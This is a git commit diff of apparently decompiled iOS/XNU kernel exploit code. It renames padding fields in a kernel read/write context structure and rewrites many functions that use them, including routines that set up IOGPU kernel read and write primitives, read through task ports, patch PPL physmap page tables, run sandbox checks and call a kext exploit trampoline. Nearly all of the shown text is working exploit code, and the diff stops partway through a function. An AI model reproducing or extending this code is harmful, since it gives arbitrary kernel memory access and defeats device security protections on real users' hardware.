Replace indexed krw gap fields

This commit is contained in:
khanhduytran0
2026-06-06 11:03:47 +07:00
parent b16b79a87e
commit 361b092f29
2 changed files with 180 additions and 119 deletions
+79 -18
View File
@@ -67,11 +67,22 @@ struct struct_krwCtx
@public
#endif
/* 00000000 */ uint32_t flags;
/* 00000004 */ uint8_t gap_0x4[0x4C];
union {
/* 00000004 */ uint8_t raw_0x4[0xA8];
struct {
/* 00000004 */ uint8_t gap_0x4_to_0xB[0x7];
/* 0000000B */ uint8_t gap_0xB;
/* 0000000C */ uint8_t gap_0xC_to_0x30[0x24];
/* 00000030 */ uint64_t gap_0x30;
/* 00000038 */ uint64_t gap_0x38;
/* 00000040 */ uint64_t gap_0x40;
/* 00000048 */ uint64_t gap_0x48;
/* 00000050 */ uint64_t gap_0x50;
/* 00000058 */ uint8_t gap_0x58[0x54];
/* 00000058 */ uint32_t gap_0x58;
/* 0000005C */ uint8_t gap_0x5C_to_0xAC[0x50];
};
};
/* 000000AC */ uint32_t threadForKernelRead;
///* 000000B0 */ uint8_t gap_0xB0[0x90];
/* 00000B0 */ uint64_t gap_0xB0;
/* 000000B8 */ uint64_t gap_0xB8;
/* 000000C0 */ uint64_t gap_0xC0;
@@ -97,20 +108,29 @@ struct struct_krwCtx
/* 00000130 */ uint64_t gap_0x130;
/* 00000138 */ uint64_t gap_0x138;
/* 00000140 */ int xnuMajorVersion;
/* 00000144 */ uint8_t gap_0x144[20];
union {
/* 00000144 */ uint8_t raw_0x144[20];
struct {
/* 00000144 */ uint8_t gap_0x144_to_0x150[0xC];
/* 00000150 */ uint64_t gap_0x150;
};
};
/* 00000158 */ uint64_t xnuVersionPacked;
union {
/* 00000160 */ uint8_t gap_0x160[8];
/* 00000160 */ uint8_t raw_0x160[8];
/* 00000160 */ uint64_t gap_0x160_size8;
};
/* 00000168 */ int stride_0x168;
union {
/* 0000016C */ int gap_0x16C[5];
/* 0000016C */ int raw_0x16C[5];
struct {
/* 0000016C */ int gap_0x16C_0;
/* 00000170 */ int gap_0x170;
/* 00000174 */ int gap_0x174;
union {
/* 00000178 */ uint32_t gap_0x178;
/* 00000178 */ uint32_t gap_0x178_size4;
};
/* 0000017C */ int gap_0x17C;
};
};
@@ -118,15 +138,22 @@ struct struct_krwCtx
/* 00000184 */ int gap_0x184;
/* 00000188 */ uint64_t pageMask;
union {
/* 00000190 */ uint8_t gap_0x190[136];
/* 00000190 */ uint8_t raw_0x190[136];
struct {
/* 00000190 */ uint8_t gap_0x190_to_0x1A8[0x18];
/* 000001A8 */ uint64_t gap_0x1A8_size8;
/* 000001B0 */ uint8_t gap_0x1B0_to_0x218[0x68];
/* 000001B0 */ uint64_t gap_0x1B0;
/* 000001B8 */ uint8_t gap_0x1B8_to_0x1E0[0x28];
/* 000001E0 */ uint64_t gap_0x1E0;
/* 000001E8 */ uint64_t gap_0x1E8;
/* 000001F0 */ uint8_t gap_0x1F0_to_0x218[0x28];
};
};
/* 00000218 */ uint64_t gap_0x218;
/* 00000220 */ uint8_t gap_0x220[56];
union {
/* 00000220 */ uint8_t raw_0x220[56];
/* 00000220 */ uint64_t gap_0x220;
};
union {
/* 00000258 */ int isRW;
/* 00000258 */ uint32_t gap_0x258_size4;
@@ -136,21 +163,45 @@ struct struct_krwCtx
/* 00000268 */ pthread_mutex_t someMutex;
/* 000002A8 */ uint32_t someInt1;
/* 000002AC */ uint32_t someInt2;
/* 000002B0 */ uint64_t gap_0x2B0[16];
/* 000002B0 */ uint64_t raw_0x2B0[16];
/* 00000330 */ pthread_mutex_t someMutex2;
union {
/* 00000370 */ uint64_t gap_0x370[695];
/* 00000370 */ uint64_t raw_0x370[695];
struct {
/* 00000370 */ uint8_t gap_0x370_to_0x37C[0xC];
/* 00000370 */ uint64_t gap_0x370;
union {
/* 00000378 */ uint64_t gap_0x378;
struct {
/* 00000378 */ uint32_t gap_0x378_size4;
/* 0000037C */ uint32_t gap_0x37C_size4;
/* 00000380 */ uint8_t gap_0x380_to_0x1888[0x1508];
};
};
/* 00000380 */ uint8_t gap_0x380_to_0x390[0x10];
/* 00000390 */ uint64_t gap_0x390;
/* 00000398 */ uint64_t gap_0x398;
/* 000003A0 */ uint64_t gap_0x3A0;
/* 000003A8 */ uint64_t gap_0x3A8;
/* 000003B0 */ uint64_t gap_0x3B0;
/* 000003B8 */ uint8_t gap_0x3B8_to_0x870[0x4B8];
/* 00000870 */ uint64_t gap_0x870;
/* 00000878 */ uint64_t gap_0x878;
/* 00000880 */ uint8_t gap_0x880_to_0x1888[0x1008];
/* 00001888 */ uint64_t gap_0x1888;
/* 00001890 */ uint32_t gap_0x1890;
/* 00001894 */ uint8_t gap_0x1894_to_0x18E0[0x4C];
/* 00001894 */ uint8_t gap_0x1894_to_0x1898[0x4];
/* 00001898 */ uint64_t gap_0x1898;
/* 000018A0 */ uint64_t gap_0x18A0;
/* 000018A8 */ uint64_t gap_0x18A8;
/* 000018B0 */ uint64_t gap_0x18B0;
/* 000018B8 */ uint64_t gap_0x18B8;
/* 000018C0 */ uint64_t gap_0x18C0;
/* 000018C8 */ uint8_t gap_0x18C8_to_0x18E0[0x18];
/* 000018E0 */ uint64_t gap_0x18E0_size8;
/* 000018E8 */ uint8_t gap_0x18E8_to_0x18F0[0x8];
/* 000018F0 */ uint64_t gap_0x18F0;
/* 000018F8 */ uint8_t gap_0x18F8_to_0x1910[0x18];
/* 000018F8 */ uint64_t gap_0x18F8;
/* 00001900 */ uint64_t gap_0x1900;
/* 00001908 */ uint64_t gap_0x1908;
union {
/* 00001910 */ uint64_t gap_0x1910_size8;
struct {
@@ -158,11 +209,21 @@ struct struct_krwCtx
/* 00001914 */ uint32_t gap_0x1914_size4;
};
};
/* 00001918 */ uint8_t gap_0x1918_to_0x191C[0x4];
union {
/* 00001918 */ uint64_t gap_0x1918;
struct {
/* 00001918 */ uint32_t gap_0x1918_size4;
/* 0000191C */ uint32_t gap_0x191C_size4;
};
};
union {
/* 00001920 */ uint64_t gap_0x1920;
struct {
/* 00001920 */ uint32_t gap_0x1920_size4;
/* 00001924 */ uint8_t gap_0x1924_to_0x1928[0x4];
};
};
};
};
/* 00001928 */ uint32_t gap_0x1928;
/* 0000192C */ uint32_t gap_0x192C;
@@ -176,7 +237,7 @@ struct struct_krwCtx
};
/* 00001944 */ uint32_t gap_0x1944;
union {
/* 00001948 */ uint64_t gap_0x1948[16];
/* 00001948 */ uint64_t raw_0x1948[16];
struct {
/* 00001948 */ uint8_t gap_0x1948_to_0x1990[0x48];
/* 00001990 */ uint64_t gap_0x1990_size8;
@@ -200,7 +261,7 @@ struct struct_krwCtx
/* 000019F8 */ uint64_t *gap_0x19F8;
/* 00001A00 */ uint64_t gap_0x1A00;
union {
/* 00001A08 */ uint64_t gap_0x1A08[104];
/* 00001A08 */ uint64_t raw_0x1A08[104];
struct {
/* 00001A08 */ uint8_t gap_0x1A08_to_0x1D18[0x310];
/* 00001D18 */ uint64_t gap_0x1D18_size8;
+101 -101
View File
@@ -818,7 +818,7 @@ static bool krw_has_any_ready_method(struct_krwCtx *krwCtx)
&& krwCtx->krw_pipe_1 != -1
&& ((krwCtx->gap_0x1940 != -1 && krwCtx->gap_0x218)
|| (krwCtx->gap_0x1938 != -1 && krwCtx->gap_0x193C != -1));
bool hasTargetPortKrw = (unsigned int)(LODWORD(krwCtx->gap_0x370[693]) + 1) >= 2;
bool hasTargetPortKrw = (unsigned int)(LODWORD(krwCtx->gap_0x1918) + 1) >= 2;
return hasThreadStateKrw || hasIOConnectKrw || hasPipePairKrw || hasTargetPortKrw;
}
@@ -5021,16 +5021,16 @@ LABEL_19:
if ( !*v7 )
*v7 = v6[2];
v2 = 0;
*(uint64_t *)&a1->gap_0x4[44] = (uint64_t)iogpu_kread;
*(uint64_t *)&a1->gap_0x4[60] = (uint64_t)iogpu_kwrite;
*(uint64_t *)&a1->gap_0x4[52] = (uint64_t)iogpu_kread2;
*(uint64_t *)&a1->gap_0x4[68] = (uint64_t)iogpu_kwrite2;
*(uint64_t *)&a1->gap_0x4[76] = (uint64_t)v6;
*(uint64_t *)&a1->gap_0x30 = (uint64_t)iogpu_kread;
*(uint64_t *)&a1->gap_0x40 = (uint64_t)iogpu_kwrite;
*(uint64_t *)&a1->gap_0x38 = (uint64_t)iogpu_kread2;
*(uint64_t *)&a1->gap_0x48 = (uint64_t)iogpu_kwrite2;
*(uint64_t *)&a1->gap_0x50 = (uint64_t)v6;
v6[183] = read_task_kobject_physmap;
v6[184] = get_read_task_port_kobject;
v6[185] = check_task_port_type;
*(uint64_t *)&a1->gap_0x190[80] = (uint64_t)necp_send_msg_1;
*(uint64_t *)&a1->gap_0x190[88] = (uint64_t)v6;
*(uint64_t *)&a1->gap_0x1E0 = (uint64_t)necp_send_msg_1;
*(uint64_t *)&a1->gap_0x1E8 = (uint64_t)v6;
return v2;
}
// 42D40: using guessed type __int128 xmmword_42D40;
@@ -5260,8 +5260,8 @@ __int64 __fastcall iogpu_physmap_init(struct_krwCtx *a1)
bzero((void *)address, v2);
v5 = (uint64_t *)address;
*(uint64_t *)address = a1->gap_0x19D8;
v5[4] = a1->gap_0x370[677];
v5[5] = LODWORD(a1->gap_0x370[678]);
v5[4] = a1->gap_0x1898;
v5[5] = LODWORD(a1->gap_0x18A0);
result = create_iogpu_shmem_entry((__int64)a1, (uint32_t *)&v16 + 1, &v16, &v15, v5);
if ( !(uint32_t)result )
{
@@ -5637,31 +5637,31 @@ __int64 __fastcall iogpu_krw_ctx_setup(struct_krwCtx *a1, uint32_t *a2)
v14 = *(uint64_t *)(address + 32);
if ( validate_kaddr_range((__int64)a1, v14) )
{
a1->gap_0x370[677] = v14;
a1->gap_0x1898 = v14;
v15 = (uint64_t *)address;
v16 = *(uint64_t *)(address + 40);
if ( (unsigned __int64)(v16 - 1) <= 0x1F )
{
LODWORD(a1->gap_0x370[678]) = v16;
LODWORD(a1->gap_0x18A0) = v16;
v18 = 0;
v6 = iogpu_init_private_ctx((__int64)a1, &v18, object[1], object[2], object[3], v15);
if ( !v6 )
{
v17 = v18;
*(uint64_t *)&a1->gap_0x4[44] = (uint64_t)iogpu_kread;
*(uint64_t *)&a1->gap_0x4[60] = (uint64_t)iogpu_kwrite;
*(uint64_t *)&a1->gap_0x4[52] = (uint64_t)iogpu_kread2;
*(uint64_t *)&a1->gap_0x4[68] = (uint64_t)iogpu_kwrite2;
*(uint64_t *)&a1->gap_0x4[76] = v17;
*(uint64_t *)&a1->gap_0x30 = (uint64_t)iogpu_kread;
*(uint64_t *)&a1->gap_0x40 = (uint64_t)iogpu_kwrite;
*(uint64_t *)&a1->gap_0x38 = (uint64_t)iogpu_kread2;
*(uint64_t *)&a1->gap_0x48 = (uint64_t)iogpu_kwrite2;
*(uint64_t *)&a1->gap_0x50 = v17;
fd_close(v20);
v20 = -1;
v6 = krw_read_validation(a1, 0);
if ( !v6 )
{
*(uint64_t *)&a1->gap_0x4[44] = 0;
*(uint64_t *)&a1->gap_0x30 = 0;
v6 = krw_write_validation(a1);
if ( !v6 )
*(uint64_t *)&a1->gap_0x4[60] = 0;
*(uint64_t *)&a1->gap_0x40 = 0;
}
}
}
@@ -9968,7 +9968,7 @@ __int64 __fastcall setup_vm_for_kwrite(struct_krwCtx *a1, __int64 a2, unsigned _
v10 = v9;
address = 0;
v11 = vm_page_size;
v12 = *(uint32_t *)&a1->gap_0x4[84];
v12 = *(uint32_t *)&a1->gap_0x58;
if ( v12 + 1 > 1 )
{
v14 = vm_map(mach_task_self_, &address, vm_page_size, 0, 1, v12, v9 & ~a1->pageMask, 0, 3, 3, 2u);
@@ -9979,7 +9979,7 @@ __int64 __fastcall setup_vm_for_kwrite(struct_krwCtx *a1, __int64 a2, unsigned _
{
return 0xFFFFFFFFLL;
}
v15 = *(uint32_t *)&a1->gap_0x4[84];
v15 = *(uint32_t *)&a1->gap_0x58;
if ( (unsigned int)(v15 + 1) >= 2 )
v16 = address;
else
@@ -9990,7 +9990,7 @@ __int64 __fastcall setup_vm_for_kwrite(struct_krwCtx *a1, __int64 a2, unsigned _
v5 = 0;
atomic_fetch_add((atomic_ushort *volatile)v17, 0xFFFFu);
*(uint16_t *)(v17 + 2) = 0x4000;
v15 = *(uint32_t *)&a1->gap_0x4[84];
v15 = *(uint32_t *)&a1->gap_0x58;
}
else
{
@@ -11679,7 +11679,7 @@ bool __fastcall ppl_physmap_table_patch_write(struct_krwCtx *ctx, mach_vm_addres
v13 = 16;
else
v13 = 256;
v14 = &ctx->gap_0x370[161];
v14 = &ctx->gap_0x878;
v15 = v13;
do
{
@@ -11708,7 +11708,7 @@ LABEL_30:
goto LABEL_32;
if ( *(uint64_t *)&v25[4] )
{
if ( !(unsigned int)krw_read_thunk(ctx, *(__int64 *)&v25[4], (unsigned int)(16 * v13), &ctx->gap_0x370[160]) )
if ( !(unsigned int)krw_read_thunk(ctx, *(__int64 *)&v25[4], (unsigned int)(16 * v13), &ctx->gap_0x870) )
goto LABEL_32;
}
else
@@ -11718,12 +11718,12 @@ LABEL_30:
*(uint64_t *)&v25[4] = v18;
if ( !v18 || !(unsigned int)cache_physmap_page_slot(ctx, 7u, v18) )
goto LABEL_32;
bzero(&ctx->gap_0x370[160], (unsigned int)(16 * v13));
bzero(&ctx->gap_0x870, (unsigned int)(16 * v13));
}
v19 = 2160;
while ( 1 )
{
v20 = *(uint64_t *)&ctx->gap_0x4[v19 + 4];
v20 = *(uint64_t *)&ctx->raw_0x4[v19 + 4];
if ( !v20 )
break;
if ( v12 == v20 )
@@ -11746,7 +11746,7 @@ LABEL_30:
v23 = pgtable_walk_for_physmap(ctx, v22, v12);
if ( v23 )
{
*(uint64_t *)&ctx->gap_0x4[v19 + 4] = v12;
*(uint64_t *)&ctx->raw_0x4[v19 + 4] = v12;
*(uint64_t *)((char *)&ctx->flags + v19) = v21;
if ( (unsigned int)kwrite_with_retry(
ctx,
@@ -12988,7 +12988,7 @@ LABEL_15:
&& (unsigned int)krw_read_thunk(krwCtx, address, 40, &v31)
&& (unsigned int)kwrite_with_retry(
krwCtx,
krwCtx->gap_0x370[4] + krwCtx->stride_0x168,
krwCtx->gap_0x390 + krwCtx->stride_0x168,
(__int64)&v31 + krwCtx->stride_0x168,
(unsigned int)(40 - krwCtx->stride_0x168)) != 0;
mach_port_destroy(mach_task_self_, v19);
@@ -24267,7 +24267,7 @@ LABEL_18:
v17 = 24;
v15 = 24;
LABEL_26:
v20 = a1->gap_0x370[5];
v20 = a1->gap_0x398;
result = validate_kaddr_range((__int64)a1, v20);
if ( !result )
return result;
@@ -25678,7 +25678,7 @@ bool __fastcall krw_ctx_has_read_caps(struct_krwCtx *ctx)
if ( KRW_CTX_AT(ctx, uint64_t, KRW_CTX_OLD_SELF_TASK_IPC_OFFSET)
&& KRW_CTX_AT(ctx, uint64_t, KRW_CTX_OLD_PTRAUTH_BASE_OFFSET) )
{
if ( ctx->gap_0x4[7] )
if ( ctx->gap_0xB )
{
v5 = 8388864;
goto LABEL_16;
@@ -29371,7 +29371,7 @@ bool __fastcall kread64_internal(struct_krwCtx *a1, unsigned __int64 a2, uint64_
__int64 v7; // [xsp+8h] [xbp-8h] BYREF
*a3 = 0;
v3 = *(__int64 (__fastcall **)(struct_krwCtx *, unsigned __int64, uint64_t *, uint64_t, __int64))&a1->gap_0x4[44];
v3 = *(__int64 (__fastcall **)(struct_krwCtx *, unsigned __int64, uint64_t *, uint64_t, __int64))&a1->gap_0x30;
if ( v3 )
{
v4 = v3(a1, a2, a3, (unsigned int)a1->stride_0x168, 1);
@@ -29397,7 +29397,7 @@ bool __fastcall kread64_internal(struct_krwCtx *a1, unsigned __int64 a2, uint64_
if ( a1->gap_0x1938 == -1 || a1->gap_0x193C == -1 )
{
LABEL_22:
v5 = kreadbuf_via_tfp0(a1->gap_0x370[693], a2, a1->stride_0x168, (unsigned int)a1->gap_0x16C[3], (__int64)a3, &v7);
v5 = kreadbuf_via_tfp0(a1->gap_0x1918, a2, a1->stride_0x168, (unsigned int)a1->gap_0x178, (__int64)a3, &v7);
return v5 == 0;
}
v4 = kreadbuf_via_dev_null_simple(a1, a2, a3, a1->stride_0x168, 1);
@@ -29759,7 +29759,7 @@ bool __fastcall kreadbuf_universal(struct_krwCtx *krwCtx, unsigned __int64 vaddr
int v6; // w0
int v7; // w0
v5 = *(__int64 (__fastcall **)(struct_krwCtx *, unsigned __int64, void *, mach_vm_size_t, __int64))&krwCtx->gap_0x4[44];
v5 = *(__int64 (__fastcall **)(struct_krwCtx *, unsigned __int64, void *, mach_vm_size_t, __int64))&krwCtx->gap_0x30;
if ( v5 )
{
v6 = v5(krwCtx, vaddr, outBuf, size, a5);
@@ -29787,7 +29787,7 @@ bool __fastcall kreadbuf_universal(struct_krwCtx *krwCtx, unsigned __int64 vaddr
if ( krwCtx->gap_0x1938 == -1 || krwCtx->gap_0x193C == -1 )
{
LABEL_22:
v7 = kreadbuf_via_tfp0(krwCtx->gap_0x370[693], vaddr, size, (unsigned int)krwCtx->gap_0x16C[3], (__int64)outBuf, 0);
v7 = kreadbuf_via_tfp0(krwCtx->gap_0x1918, vaddr, size, (unsigned int)krwCtx->gap_0x178, (__int64)outBuf, 0);
return v7 == 0;
}
v6 = kreadbuf_via_dev_null_simple(krwCtx, vaddr, outBuf, size, a5);
@@ -32075,7 +32075,7 @@ __int64 __fastcall kread_task_slot_and_necp_set(struct_krwCtx *a1, __int64 a2, u
result = necp_set_opt_string_6((__int64)a1, a3);
if ( (uint32_t)result )
{
*a4 = v12 == a1->gap_0x370[4];
*a4 = v12 == a1->gap_0x390;
return 1;
}
}
@@ -36705,7 +36705,7 @@ unsigned __int64 __fastcall get_task_kobject_addr(struct_krwCtx *a1, mach_port_t
bool v6; // zf
v4 = mach_task_self_;
if ( mach_task_self_ != a2 || (result = *(uint64_t *)&a1->gap_0x190[32]) == 0 )
if ( mach_task_self_ != a2 || (result = *(uint64_t *)&a1->gap_0x1B0) == 0 )
{
if ( a2 == -1 )
{
@@ -36718,8 +36718,8 @@ unsigned __int64 __fastcall get_task_kobject_addr(struct_krwCtx *a1, mach_port_t
{
result = maybe_ipc_port_get_kobject(a1, result);
v6 = v4 != a2 || result == 0;
if ( !v6 && !*(uint64_t *)&a1->gap_0x190[32] )
*(uint64_t *)&a1->gap_0x190[32] = result;
if ( !v6 && !*(uint64_t *)&a1->gap_0x1B0 )
*(uint64_t *)&a1->gap_0x1B0 = result;
}
}
}
@@ -38268,7 +38268,7 @@ LABEL_12:
{
v6 = v12;
}
a1->gap_0x370[6] = v6;
a1->gap_0x3A0 = v6;
result = kread_physmap_decorated(
a1,
v11 + (unsigned int)(2 * a1->stride_0x168),
@@ -38292,20 +38292,20 @@ LABEL_23:
if ( a1->xnuVersionPacked > XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) || (a1->flags & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) == 0 )
{
v7 = v13;
a1->gap_0x370[7] = v13;
a1->gap_0x3A8 = v13;
goto LABEL_28;
}
result = kread64_internal(a1, v11 + (unsigned int)(2 * a1->stride_0x168), &v10);
if ( (uint32_t)result )
{
a1->gap_0x370[7] = v10;
a1->gap_0x3A8 = v10;
v7 = v13;
LABEL_28:
a1->gap_0x370[4] = v12;
a1->gap_0x370[5] = v7;
a1->gap_0x370[1] = 0x100000000LL;
a1->gap_0x370[688] = v11;
LODWORD(a1->gap_0x370[689]) = 0;
a1->gap_0x390 = v12;
a1->gap_0x398 = v7;
a1->gap_0x378 = 0x100000000LL;
a1->gap_0x18F0 = v11;
LODWORD(a1->gap_0x18F8) = 0;
return 1;
}
return result;
@@ -39068,7 +39068,7 @@ int __fastcall necp_set_opt_string_7(struct_krwCtx *a1, unsigned int a2, __int64
v8 = a1->xnuVersionPacked;
if ( v8 >= XNU_VERSION_PACKED(8019, 60, 40, 0, 0) )
{
v9 = a1->gap_0x370[688] + a1->stride_0x168 * (a2 + 1);
v9 = a1->gap_0x18F0 + a1->stride_0x168 * (a2 + 1);
return kwrite64_dispatch(a1, v9, a3);
}
if ( a3 )
@@ -39078,14 +39078,14 @@ int __fastcall necp_set_opt_string_7(struct_krwCtx *a1, unsigned int a2, __int64
}
else if ( v8 >= XNU_VERSION_PACKED(8019, 0, 0, 0, 0) && (a1->flags & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) != 0 )
{
v10 = a1->gap_0x370[688];
if ( a1->gap_0x370[8] != v10 )
v10 = a1->gap_0x18F0;
if ( a1->gap_0x3B0 != v10 )
{
v14 = -1LL;
v15 = 1008LL;
while ( v14 != 6 )
{
v16 = a1->gap_0x370[v15 / 8 - 110];
v16 = a1->raw_0x370[v15 / 8 - 110];
++v14;
v15 += 64LL;
if ( v16 == v10 )
@@ -39135,11 +39135,11 @@ int __fastcall necp_set_opt_string_7(struct_krwCtx *a1, unsigned int a2, __int64
}
v11 = 0;
LABEL_16:
v12 = a1->gap_0x370[9 + 8LL * v11 + a2];
v12 = a1->raw_0x370[9 + 8LL * v11 + a2];
v13 = v10 + a1->stride_0x168 * (a2 + 1);
goto LABEL_18;
}
v13 = a1->gap_0x370[688] + a1->stride_0x168 * (a2 + 1);
v13 = a1->gap_0x18F0 + a1->stride_0x168 * (a2 + 1);
a1 = v7;
v12 = a3;
LABEL_18:
@@ -41291,8 +41291,8 @@ __int64 __fastcall map_physpage_for_kobj(struct_krwCtx *a1, unsigned __int64 a2)
unsigned __int64 translation_base; // [xsp+0h] [xbp-30h] BYREF
unsigned __int64 translation_delta; // [xsp+8h] [xbp-28h] BYREF
translation_base = a1->gap_0x370[679];
translation_delta = a1->gap_0x370[680];
translation_base = a1->gap_0x18A8;
translation_delta = a1->gap_0x18B0;
if ( translation_base )
{
return map_physpage_to_user(a1, translation_base, translation_delta, a2);
@@ -41309,8 +41309,8 @@ __int64 __fastcall map_physpage_for_kobj(struct_krwCtx *a1, unsigned __int64 a2)
{
return 0;
}
a1->gap_0x370[679] = translation_base;
a1->gap_0x370[680] = translation_delta;
a1->gap_0x18A8 = translation_base;
a1->gap_0x18B0 = translation_delta;
return map_physpage_to_user(a1, translation_base, translation_delta, a2);
}
}
@@ -41325,8 +41325,8 @@ __int64 __fastcall resolve_physpage_addr(struct_krwCtx *a1, unsigned __int64 a2)
unsigned __int64 translation_base; // [xsp+0h] [xbp-30h] BYREF
unsigned __int64 translation_delta; // [xsp+8h] [xbp-28h] BYREF
translation_base = a1->gap_0x370[679];
translation_delta = a1->gap_0x370[680];
translation_base = a1->gap_0x18A8;
translation_delta = a1->gap_0x18B0;
if ( translation_base )
{
return translate_physmap_addr_via_segments(a1, translation_base, translation_delta, a2);
@@ -41343,8 +41343,8 @@ __int64 __fastcall resolve_physpage_addr(struct_krwCtx *a1, unsigned __int64 a2)
{
return 0;
}
a1->gap_0x370[679] = translation_base;
a1->gap_0x370[680] = translation_delta;
a1->gap_0x18A8 = translation_base;
a1->gap_0x18B0 = translation_delta;
return translate_physmap_addr_via_segments(a1, translation_base, translation_delta, a2);
}
}
@@ -41677,7 +41677,7 @@ __int64 __fastcall physwritebuf_direct_mapped(
__int64 result; // x0
uint64_t v10[7]; // [xsp+8h] [xbp-58h] BYREF
v9 = *(__int64 (__fastcall **)(struct_krwCtx *, unsigned __int64, const void *, unsigned int, int))&krwCtx->gap_0x4[68];
v9 = *(__int64 (__fastcall **)(struct_krwCtx *, unsigned __int64, const void *, unsigned int, int))&krwCtx->gap_0x48;
if ( v9 )
{
return v9(krwCtx, paddr, buf, size, something);
@@ -41787,7 +41787,7 @@ uint64_t __fastcall remap_kaddr_through_physmap(struct_krwCtx *a1, __int64 a2)
uint8_t v17[32]; // [xsp+8h] [xbp-48h] BYREF
__int64 v18; // [xsp+28h] [xbp-28h]
v4 = a1->gap_0x370[681];
v4 = a1->gap_0x18B8;
v5 = a1->pageMask;
v6 = a2 & ~v5;
if ( v4 )
@@ -41796,7 +41796,7 @@ uint64_t __fastcall remap_kaddr_through_physmap(struct_krwCtx *a1, __int64 a2)
v7 = 0;
if ( v7 )
{
v8 = a1->gap_0x370[682];
v8 = a1->gap_0x18C0;
if ( v8 )
return v8 + (v5 & a2);
}
@@ -41814,8 +41814,8 @@ uint64_t __fastcall remap_kaddr_through_physmap(struct_krwCtx *a1, __int64 a2)
if ( !v13 && v14 != 0 )
{
v16 = a1->pageMask;
a1->gap_0x370[681] = a2 & ~v16;
a1->gap_0x370[682] = v14 & ~v16;
a1->gap_0x18B8 = a2 & ~v16;
a1->gap_0x18C0 = v14 & ~v16;
return v14;
}
return result;
@@ -42541,10 +42541,10 @@ LABEL_18:
return result;
if ( memcmp(__s1, task_info_out, (unsigned int)a5) )
return 0;
if ( !a1->gap_0x370[690] && a3 == 2 && mach_task_self_ == target_task )
if ( !a1->gap_0x1900 && a3 == 2 && mach_task_self_ == target_task )
{
a1->gap_0x370[691] = *(uint64_t *)task_info_out;
a1->gap_0x370[690] = v20;
a1->gap_0x1908 = *(uint64_t *)task_info_out;
a1->gap_0x1900 = v20;
}
return kwritebuf_universal(a1, v20, a4, a5);
}
@@ -44829,15 +44829,15 @@ __int64 __fastcall driver_init2_1(struct_krwCtx *krwCtx, int something)
v4 = semaphore_create(mach_task_self_, &krwCtx->semaphore, 0, 0);
if ( v4 )
return v4 | 0x80000000;
v7 = kernel_version_parse(&xnuVersion, krwCtx->gap_0x16C, &krwCtx->gap_0x16C[1]);
v7 = kernel_version_parse(&xnuVersion, &krwCtx->gap_0x16C_0, &krwCtx->gap_0x170);
if ( !v7 )
return 708629;
v8 = 163858;
oword10 = xnuVersion.oword10;
*(__int128 *)&krwCtx->xnuMajorVersion = xnuVersion.majorVersion;
*(__int128 *)&krwCtx->gap_0x144[12] = oword10;
*(__int128 *)&krwCtx->gap_0x150 = oword10;
v10 = *((uint64_t *)&xnuVersion.oword10 + 1);
*(uint64_t *)krwCtx->gap_0x160 = xnuVersion.qword20;
krwCtx->gap_0x160_size8 = xnuVersion.qword20;
krwCtx->stride_0x168 = 8;
mach_port_with_a2 = 163847;
if ( (unsigned __int64)(v10 - XNU_VERSION_PACKED(6153, 0, 103, 0, 0)) > 0xF090EFE400003LL )
@@ -44914,7 +44914,7 @@ LABEL_23:
return mach_port_with_a2;
LABEL_33:
if ( xnuMajorVersion >= 7195 )
krwCtx->gap_0x4[7] = check_sandboxed(krwCtx->xnuVersionPacked >> 43 > 0x44A);
krwCtx->gap_0xB = check_sandboxed(krwCtx->xnuVersionPacked >> 43 > 0x44A);
if ( !(unsigned int)comm_page_get_cpu_family((uint32_t *)&cpuFamily) )
return 163858;
if ( (int)cpuFamily <= 0x2876F5B4 )
@@ -45085,7 +45085,7 @@ LABEL_87:
if ( v35 != v36 )
return 0x28012;
LABEL_96:
krwCtx->gap_0x16C[3] = 2 * v34 - 64;
krwCtx->gap_0x178 = 2 * v34 - 64;
*(__int128 *)krwCtx->gap_0x19E8 = xmmword_43730;
if ( !(unsigned int)another_sandbox_check(krwCtx) )
return 0x28012;
@@ -45111,13 +45111,13 @@ LABEL_96:
v42 = 1152;
if ( !krw_has_any_ready_method(krwCtx) )
{
mach_port_with_a2 = kext_exploit_main_trampoline((uint64_t)krwCtx, krwCtx->gap_0x19D0, 0, (uint64_t)&krwCtx->gap_0x370[693]);
mach_port_with_a2 = kext_exploit_main_trampoline((uint64_t)krwCtx, krwCtx->gap_0x19D0, 0, (uint64_t)&krwCtx->gap_0x1918);
if ( (uint32_t)mach_port_with_a2 )
return mach_port_with_a2;
}
if ( has_valid_krw_path(krwCtx) )
{
if ( krwCtx->xnuVersionPacked > XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) && krwCtx->gap_0x4[7] )
if ( krwCtx->xnuVersionPacked > XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) && krwCtx->gap_0xB )
{
v95 = 1;
goto LABEL_172;
@@ -45137,7 +45137,7 @@ LABEL_172:
return mach_port_with_a2;
v43 = krwCtx->xnuVersionPacked;
}
v93 = (mach_port_name_t *)&krwCtx->gap_0x370[693] + 1;
v93 = (mach_port_name_t *)&krwCtx->gap_0x1918 + 1;
if ( v43 <= XNU_VERSION_PACKED(8791, 1023, 1023, 1023, 1023) )
{
v47 = krwCtx->gap_0x19D0;
@@ -45158,7 +45158,7 @@ LABEL_172:
}
else
{
HIDWORD(krwCtx->gap_0x370[693]) = -1;
HIDWORD(krwCtx->gap_0x1918) = -1;
}
if ( (unsigned int)alloc_vm_page(krwCtx) )
{
@@ -45237,26 +45237,26 @@ LABEL_211:
*(__int128 *)(v52 + 112) = xnuVersion.majorVersion;
*(__int128 *)(v52 + 128) = v59;
*(uint64_t *)(v52 + 144) = xnuVersion.qword20;
*(uint32_t *)(v52 + 152) = krwCtx->gap_0x16C[3];
*(uint32_t *)(v52 + 152) = krwCtx->gap_0x178;
*(uint32_t *)(v52 + 56) = krwCtx->pageSizeOrSomething;
if ( !iosurface_physmap_setup_alt(v52, krwCtx->gap_0x370[693], v44, v42) )
if ( !iosurface_physmap_setup_alt(v52, krwCtx->gap_0x1918, v44, v42) )
return 163863;
krwCtx->gap_0x19F8 = v52;
}
v53 = *(__int64 (__fastcall **)(struct_krwCtx *))&krwCtx->gap_0x190[80];
if ( v53 && *(uint64_t *)&krwCtx->gap_0x190[88] )
v53 = *(__int64 (__fastcall **)(struct_krwCtx *))&krwCtx->gap_0x1E0;
if ( v53 && *(uint64_t *)&krwCtx->gap_0x1E8 )
{
mach_port_with_a2 = v53(krwCtx);
if ( (uint32_t)mach_port_with_a2 )
return mach_port_with_a2;
*(uint64_t *)&krwCtx->gap_0x190[80] = 0;
*(uint64_t *)&krwCtx->gap_0x190[88] = 0;
